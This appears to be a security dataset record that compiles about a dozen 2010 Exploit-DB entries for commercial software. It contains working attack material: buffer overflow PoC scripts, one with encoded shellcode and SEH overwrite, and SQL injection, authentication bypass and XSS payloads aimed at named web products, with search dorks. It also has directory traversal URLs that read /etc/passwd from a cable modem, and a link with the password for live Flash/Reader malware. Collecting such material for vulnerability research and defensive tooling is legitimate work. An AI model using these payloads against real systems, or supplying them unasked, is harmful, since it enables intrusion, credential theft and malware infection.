QLWD/code_shield huggingface dataset:
标题: Adobe InDesign CS3 - '.INDD' Handling Buffer Overflow EDB-ID: 13817 CVE: 2010-2321 类型: DOS 平台: WINDOWS 发布日期: 2010-06-11 漏洞利用脚本: #!/usr/bin/perl
#
# Adobe InDesign CS3 INDD File Handling Buffer Overflow Vulnerability
#
# Vendor: Adobe Systems Inc.
#
# Product Web Page: http://www.adobe.com
#
# Version tested: CS3 10.0
#
# Summary: Adobe® InDesign® CS3 software provides precise control over
# typography and built-in creative tools for designing, preflighting,
# and publishing documents for print, online, or to mobile devices. Include
# interactivity, animation, video, and sound in page layouts to fully engage
# readers.
#
# Desc: When parsing .indd files to the application, it crashes instantly
# overwriting memory registers. Depending on the offset, EBP, EDI, EDX and
# ESI gets overwritten. Pottential vulnerability use is arbitrary code execution
# and denial of service.
#
#
# Tested on Microsoft Windows XP Professional SP3 (English)
#
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#
# liquidworm gmail com
#
# Zero Science Lab - http://www.zeroscience.mk
#
# 16.09.2009
#
#
#
# Vendor status:
#
# [16.09.2009] Vulnerability discovered.
# [09.03.2010] Vulnerability reported to vendor with sent PoC files.
# [21.03.2010] Asked confirmation from the vendor.
# [21.03.2010] Vendor asked for PoC files due to communication errors.
# [22.03.2010] Re-sent PoC files to vendor.
# [04.04.2010] Vendor confirms vulnerability.
# [03.06.2010] Vendor informs that they discontinued support for CS3 since CS5 is out.
# [04.06.2010] Public advisory released.
#
#
# Zero Science Lab Advisory ID: ZSL-2010-4941
# Advisory: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4941.php
#
#
#
# Raw PoC code:
#

$header = "\x06\x06\xED\xF5\xD8\x1D\x46\xE5\xBD\x31\xEF\xE7\xFE\x74\xB7\x1D\x44\x4F\x43\x55\x4D\x45\x4E\x54\x01";

$fn = "teppei.indd";

$bof = "\x41" x 10000;

print "\n\n[*] Creating PoC file: $fn ...\r\n";

sleep(1);

open(indd, ">./$fn") || die "\n\aCannot open $fn : $!";

print indd "$header" . "$bof";

close (indd);

print "\n[*] PoC file successfully created!\r\n"; URL: https://www.exploit-db.com/exploits/13817
标题: PHP Real Estate Script - SQL Injection EDB-ID: 13802 CVE: 2010-2357 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-09 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:PHP Real Estate Script SQLi Vulnerability
Version:1.0
Price:249$
Vendor url:http://www.realestates.com.bd/
Published: 2010-06-09
Greetz to:Sid3^effects, MaYur, M4n0j, Dark Blue™®, S1ayer,d3c0d3r and to all
ICW members
###############################################################################################################################################################################################


PHP Real Estate Script SQLi Vulnerability

Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]

#####################################################################################################################################################################################################

Description:

Eicra Real Estate Script is a fully scalable turn-key PHP MySQL Real
Estate.
Charge members to list ads or run in free mode.
It is a powerful combination of the most desired features and easy-to-use
interface for property management tasks.
This professional real estate system allows you to automate and simplify the
realty business process.
With this solution be able to transform your business into a more
efficient, productive and prosperous e-business enterprise.
EicraRealEstate is a fully scalable turnkey PHP MySQL real estate script
allowing site administrators to charge members to list properties.
#######################################################################################################################################################################################################

Vulnerability:

*SQLi Vulnerability

DEMO URL :http://server/index.php?plugin_id=28&p_id=[sqli] URL: https://www.exploit-db.com/exploits/13802
标题: Adobe Flash / Reader - Live Malware EDB-ID: 13787 CVE: 2010-1297 类型: REMOTE 平台: MULTIPLE 发布日期: 2010-06-09 漏洞利用脚本: # Exploit-DB Note - Live POC originally found at http://qoop.org/security/poc/cve-2010-1297/

# File is malicious! Taken from the wild! Beware!
# To decrypt the file:
# openssl aes-256-cbc -d -a -in adobe-0day-2010-1297.tar.enc -out adobe-0day-2010-1297.tar
# Password is "edb" without the quotes.

NOTE: This was taken out of live malware and was not modified. BEWARE.

By visiting the following link, you agree that you are responsible for any damages that occur.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/13787.tar.enc (adobe-0day-2010-1297.tar.enc) URL: https://www.exploit-db.com/exploits/13787
标题: HauntmAx CMS Haunted House - Directory Listing / SQL Injection EDB-ID: 13784 CVE: 2010-2312 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-09 漏洞利用脚本: ==================================
         HauntmAx CMS SQLi Vulnerability
        ==================================
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name : HauntmAx CMS SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://www.hauntmax.com/
Platform: Linux,Windows
Price: $200 
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

HauntmAx CMS Haunted House Directory Listing

     * Visit Publisher Site
     * Need help with this script?
     * Hire a Hot Scripts Consultant

HauntmAx CMS is the first Content Management System of its kind that lets you build your own Haunted House Directory web site without having to write code from scratch. Easy menu driven web builder allows you to create a local area, state, country or even global listing with an automated user input system. Haunt owners can update their own listing with authorized account management capabilities. Make Money!!! * Selling Advertising * Selling Prime Haunt Listing Space * Drive Traffic to Your Site Or just provide a needed service to the haunt community near you. HauntmAx CMS can have your Haunted House Directory up and running in no time at all. 

###############################################################################################################

Xploit: SQLi Vulnerability

Example :http://[site]/index.php?c_action=listings&state=%272

###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/13784
标题: Virtual Real Estate Manager 3.5 - SQL Injection EDB-ID: 13789 CVE: 2010-5013 类型: WEBAPPS 平台: ASP 发布日期: 2010-06-09 漏洞利用脚本: ======================================================
        Virtual Real Estate Manager V 3.5 SQLi  Vulnerability
       ======================================================

Name : Virtual Real Estate Manager V 3.5 SQLi Vulnerability
Date : june, 9 2010
Vendor url :http://www.mckenziecreations.net/products.htm
Platform: Windows
Price:$39.95
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,gunslinger_
greetz to :All ICW members.

###############################################################################################################
Description:

Looking for a Real Estate Listing script? Our Virtual Real Estate Manager was developed in ASP ( Active Server Pages ) and an Access database. End User Features : » Search by Area and type of property » Listings Page includes thumbnail of the property, Short Description, city, date added and price. » Details Page includes - 4 thumbnails that open in a new window with larger view. Heading, Description of the property, Details of the property, email to a friend and request more info. Admin Features : » Add, Edit and Delete Properties - upload images » Add, Edit and Delete Categories » Add, Edit and Delete Area » Change Password VRM : Is delivered via a ZIP file. You receive this exact template with the application. Easy to customize with knowledge of html or one of the following: Design Requirements : Front page - Recommended * Macromedia Dreamweaver Configuration Requirements: Notepad WordPad 

###############################################################################################################

Xploit: SQLi Vulnerability

DEMO  URL:

       http://site.net/VRMdemo/listing_detail.asp?Lid=[SQLi]


###############################################################################################################
# 0day no more 
# Sid3^effects URL: https://www.exploit-db.com/exploits/13789
标题: CommonSense CMS - SQL Injection EDB-ID: 13762 CVE: 2010-5037 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-07 漏洞利用脚本: # Exploit Title: CommonSense CMS Sql Injection Vulnerability
# Author: Pokeng
# Software Link: http://www.sensesites.com/



# Platform / Tested on: Win/Linux
# category: webapps/0day
# Code : http://[site]/article.php?article_id=[SQL]
# Dork : "Powered by CommonSense CMS"

[*] Greetz


Explore Crew : ArRay `yuda N4ck0 K4pt3N samu1241 bejamz Gameover antitos yuki


http://explorecrew.org/
------------------------------------------------------------------------------ URL: https://www.exploit-db.com/exploits/13762
标题: idevspot Text ads 2.08 - SQL Injection EDB-ID: 13749 CVE: 2010-2319 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-06 漏洞利用脚本: # Title:idevspot Text ads 2.08 sqli vulnerability
# Author: Sid3^effects
# Published: 2010-06-06
# price:$147
# email:shell_c99@yahoo.com
# vendor: idevspot
# url : http://www.idevspot.com/TextAds2.php
# google dork : Powered by TextAds 2.08

############################################################################
        ooooo  .oooooo.  oooooo   oooooo     oooo 
        `888' d8P'  `Y8b  `888.    `888.     .8' 
         888 888           `888.   .8888.   .8' 
         888 888            `888  .8'`888. .8' 
         888 888             `888.8'  `888.8'  
         888 `88b    ooo      `888'    `888' 
        o888o `Y8bood8P'       `8'      `8'    
                                          
-------------------------------------------------------------------------------------- 
#####################Sid3^effects aKa HaRi################################## 
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors] 
#Thanks:*L0rd ÇrusAdêr*,d4rk-blu™®,R45C4L,CR4C|< 008,M4n0j,MaYuR 
#ShouTZ:kedar,dec0d3r,41.w4r10r
#spl shoutz:LiquidWorm,gunslinger_ :D      
#Catch us at www.andhrahackers.com or www.teamicw.in 
############################################################################ 
Description :
Increase your website revenue by selling text advertisement spots on your website. TextAds is a fully automated,
impression based text advertisement system. It includes client and administrative control panels and supports
Paypal (client) billing. Our easy installation will have most users up and running quickly. Customization is also
quite easy, even for the non-programmer. Many additional features are yours as well with TextAds, please come
check them out at our website 
############################################################################ 
Xploit :
The idevspot TextAds V2.08 suffers from sqli
Demo : http://server/textads_2/index.php?page=[sqli]
         
############################################################################ 
#spl thks: exploit-db.com
#Sid3^effects URL: https://www.exploit-db.com/exploits/13749
标题: Home of MCLogin System - Authentication Bypass EDB-ID: 13766 CVE: 2010-5000 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-08 漏洞利用脚本: Author: L0rd CrusAd3r
Published: 2010-06-08
Vendor url:-/www.maniacomputer.com
################################################################################################

Authentication Bypass in Home of MCLogin System
1,1
######################################Author:L0rd
CrusAd3r######################################

Description:-

With MCLogin System your visitors can login or register a new account. It is
written in PHP and the data is stored in a MySql database.Very easy to
install or to customize to meet your needs. You can add it to your pages
with just one link.

###################################################################################################

Vulnerability:-

*Authentication Bypass found

The Provided Script as Sqli Vulnerability in Admin Login page

DEMO : http://server/login/login_index.php

Use the string a' or '1'='1 for Username and Password to gain access.

######################################################################################################


Greetz to:MaYur,Sid3^effects

-- 
With R3gards,
L0rd ÇrusAdêr URL: https://www.exploit-db.com/exploits/13766
标题: Audio Converter 8.1 - Local Stack Buffer Overflow EDB-ID: 13760 CVE: 2010-2343 类型: LOCAL 平台: WINDOWS 发布日期: 2010-06-07 漏洞利用脚本: #***********************************************************************************
# Exploit Title : Audio Converter 8.1 0day Stack Buffer Overflow PoC exploit
# Date          : 16/05/2010
# Author        : Sud0
# Bug found by  : chap0
# Software Link : http://download.cnet.com/Audio-Converter/3000-2140_4-10045287.html
# Version       : 8.1
# OS            : Windows
# Tested on     : XP SP3 En (VirtualBox)
# Type of vuln  : SEH
# Thanks to my wife for her support
# Thanks for chap0 for bringing us the game
# Greetz to: Corelan Security Team
# http://www.corelan.be:8800/index.php/security/corelan-team-members/
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# Script provided 'as is', without any warranty.
# Use for educational purposes only.
# Do not use this code to do anything illegal !
# Corelan does not want anyone to use this script
# for malicious and/or illegal purposes
# Corelan cannot be held responsible for any illegal use.
#
# Note : you are not allowed to edit/modify this code. 
# If you do, Corelan cannot be held responsible for any damages this may cause.
#***********************************************************************************
#code :
print "|------------------------------------------------------------------|\n";
print "|                         __               __                      |\n";
print "|   _________  ________  / /___ _____     / /____  ____ _____ ___  |\n";
print "|  / ___/ __ \\/ ___/ _ \\/ / __ `/ __ \\   / __/ _ \\/ __ `/ __ `__ \\ |\n";
print "| / /__/ /_/ / /  /  __/ / /_/ / / / /  / /_/  __/ /_/ / / / / / / |\n";
print "| \\___/\\____/_/   \\___/_/\\__,_/_/ /_/   \\__/\\___/\\__,_/_/ /_/ /_/  |\n";
print "|                                                                  |\n";
print "|                                       http://www.corelan.be:8800 |\n";
print "|                                                                  |\n";
print "|-------------------------------------------------[ EIP Hunters ]--|\n\n";
print "[+] Exploit for .... \n";

import socket
#shellcode running calc.exe alpha2 encoded basereg edx
shell="JJJJJJJJJJJJJJJJJ7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIlKXlpUnkxlqx7P7PQ0fOrHpcparLQsLMaUzXPPNXKwOcxBCGKOZpA"  
junk="B" * (4432 - len(shell))  #seh overwritten after 4432 bytes
nseh= "\xEB\x06\xEB\x06" # jmp forward 
seh= "\xF1\x8E\x03\x10" # nice ppr from audioconv
align="\x61\x61\x61\xff\xE2" # popad / popad / popad / jmp edx
buffer= shell + junk + nseh + seh + "\x90" * 20 + align  + "A"* 10000#  added some nops after seh
 
mefile = open('poc.pls','w');
mefile.write(buffer);
mefile.close() URL: https://www.exploit-db.com/exploits/13760
标题: Joomla! Component Search Log 3.1.0 - SQL Injection EDB-ID: 13746 CVE: 2010-5044 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-06 漏洞利用脚本: #Exploit Title:  Joomla Component com_searchlog SQL Injection

#Date:   05/06/2010 

#Author:  d0lc3 d0lc3x[at]gmail[dom]com

#Software Link:  http://www.kanich.net/radio/site/searchlog/searchlog-download

#Version:  3.1.0

#Tested on:  Linux ubuntu32 2.6.32-22-generic x64

#Summary:
 

 Good nights, at this occassion  we have other not-saned POST variable on 
 administrator/components/com_searchlog/models/log.php, line 30:
...
$search = $mainframe->getUserStateFromRequest($option . '.search', 'search', '', 'string'); //wtf!?
$this->filter_actid = $mainframe->getUserStateFromRequest($option .'actid','actid',0,'int');
$data->search = JString::strtolower($search); //wtf!?
$callbase = JRequest::getInt('callbase', 1);
$newact =JRequest::getString('newact');
$data->newact = "";
if ($task=="" and $newact!="") {
$data->newact = $newact;
}if ($task == 'upload' or $task == 'savenew') {
$data->sort = 'dates';
$limitstart = 0;
}else {
$data->sort = JRequest::getVar('sort', 'calls');
}if ($data->search) {
$where[] = "(LOWER( m.call ) LIKE '$data->search%' OR LOWER( m.call ) LIKE '%/$data->search%')"; //likely SQLi
...

 In order to exploit it, i advice programming script for it :P but if only you want try vuln, to change POST request on HTTP header:

http://VICTIM/administrator/index.php?option=com_searchlog&act=log

POST /administrator/index.php?option=com_searchlog&act=log HTTP/1.1
Host: VICTIM
Content-Type: application/x-www-form-urlencoded
Content-Length: xxx
search=[SQLi]
&sort=calls&limit=20&limitstart=0&option=com_searchlog&act=log&task=&callbase=1&boxchecked=1&hidemainmenu=0

 Where [SQLi] = someLogExisting') and 1=1# => true
         someLogExisting') and 1=2# => false

 UNION SQLi = someLogExisting') union select 1,2,3,4,5,6,7,8#



by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i URL: https://www.exploit-db.com/exploits/13746
标题: iScripts eSwap 2.0 - SQL Injection / Cross-Site Scripting EDB-ID: 13740 CVE: 2010-5036 2010-5035 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-06 漏洞利用脚本: # Title:iScripts eSwap v2.0 sqli and xss vulnerability
# Author: Sid3^effects 
# Published: 2010-06-05  
# price:$99.95
# email:shell_c99@yahoo.com 
# vendor: iScripts
# url : http://www.iscripts.com/eswap/
# google dork : Powered by iScripts eSwap.   

############################################################################

        ooooo  .oooooo.  oooooo   oooooo     oooo  

        `888' d8P'  `Y8b  `888.    `888.     .8'  

         888 888           `888.   .8888.   .8'  

         888 888            `888  .8'`888. .8'  

         888 888             `888.8'  `888.8'   

         888 `88b    ooo      `888'    `888'  

        o888o `Y8bood8P'       `8'      `8'     

                                           
--------------------------------------------------------------------------------------  

#####################Sid3^effects aKa HaRi##################################  

#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber Warriors]  

#Thanks:*L0rd ÇrusAdêr*,d4rk-blu?®,R45C4L idi0th4ck3r,CR4C|< 008,M4n0j,MaYuR  

#ShouTZ:kedar,dec0d3r,41.w4r10r

#spl shoutz:LiquidWorm,gunslinger_ :D       

#Catch us at www.andhrahackers.com or www.teamicw.in  

############################################################################  
Description : 
 
iScripts eSwap enables you to create an virtual swapmeet site in minutes. End users can list items for swap, sell or buy. Let end users to swap unwanted items for things they want! Users can add items for sale or swap. They can also add their wish list for trading items. eSwap lets you charge users a fee for listing, featured listing and optional escrow service. Credit card payments through Authorize.net , Paypal, 2checkout and Google checkout are supported. Also offline payment methods are supported. The powerful admin section allows you to have multiple categories, sub categories and control every aspects of the business. This exchange platform is the ultimate green business by helping your users to recycle
############################################################################  

Sql injection and XSS is found in the eswap script V2.0

Xploit :\m/  sqli \m/


   demo : http://[site]/eswap/demo/addsale.php?type=[Sqli]

Xploit: \m/ Xss \m/
  
      XSS is found in search field :D
                
   Attack pattern : '"--><script>alert(0x000872)</script>

   demo :http://[site]/eswap/demo/search.php
          
############################################################################  

#Sid3^effects URL: https://www.exploit-db.com/exploits/13740
标题: Motorola Surfboard Cable Modem - Directory Traversal EDB-ID: 12865 CVE: 2010-2307 类型: REMOTE 平台: HARDWARE 发布日期: 2010-06-03 漏洞利用脚本: # Exploit Title: Motorola SURFBoard Cable Modem Directory Traversal
# Date: 2010.06.03
# Author: S2 Crew [Hungary]
# Software Link: -
# Version: Model name: SBV6120E, Firmware Name: SBV6X2X-1.0.0.5-SCM-02-SHPC
# Tested on: ^
# CVE: -
# Code :

The following urls get back the /etc/passwd file from the modem:

http://[IP]///etc/passwd <http://[ip]///etc/passwd>
http://[IP]/../../etc/passwd

http://[IP]/..%2f..%2fetc/passwd <http://[ip]/..%2f..%2fetc/passwd>
http://[IP]/%2e%2e/%2e%2e/etc/passwd URL: https://www.exploit-db.com/exploits/12865
标题: Joomla! Component DJ-ArtGallery 0.9.1 - Multiple Vulnerabilities EDB-ID: 13737 CVE: 2010-5043 2010-5042 类型: WEBAPPS 平台: PHP 发布日期: 2010-06-06 漏洞利用脚本: #Exploit Title:  Joomla Component com_djartgallery Multiple Vulnerabilities

#Date:   04/06/2010 

#Author:  Tomasz Kowalski

#Software Link:  http://www.design-joomla.eu/downloads/download/components/dj-artgallery.html

#Version:  0.9.1

#Tested on:  Linux ubuntu32 2.6.32-22-generic x64

#Summary:
 
[+] Cross Site Scripting on administrator/components/com_djartgallery/views/editimage/tmpl/default.php:

 We can fond this code on line 183:
 ... 
 <input type="hidden" name="id" value="<?php echo JRequest::getVar('id'); ?>" />
 <input type="hidden" name="option" value="com_djartgallery" />
 <input type="hidden" name="task" value="editImage" />
 ...

 You must see it }x)  

 <input type="hidden" name="id" value="<?php echo JRequest::getVar('id'); ?>" />

 Method to exploit this could be next code injection:
 
 http://localhost/joomla/administrator/index.php?option=com_djartgallery&task=editItem
 &cid[]=%22%3E%3C/form%3E%3CSCRIPT%3Ealert%28%22XSS%20by%20r0i%22%29;%3C/script%3E

[+]Blind SQL Injection

 Also we can extract it databases information through Blind SQL Injection, on same parameter, how to we will see on next code:
administrator/components/com_djartgallery/controller.php, line 382:

 $link = 'index.php?option=com_djartgallery&task=com_djartgallery&task=editItem&cid[]='.JRequest::getVar('id');

 To exploit it:
 
 http://victim/administrator/index.php?option=com_djartgallery&task=editItem
 &cid[]=1'+and+1=1+--+

 Field 'Select Article' its changed when reply its true/false; but too its likely that run UNION injection:

 http://victim/administrator/index.php?option=com_djartgallery&task=editItem
 &cid[]=-1%27/*!UNION%20SELECT%20@@version,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25*/+--+

 
 
by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i  by r0i URL: https://www.exploit-db.com/exploits/13737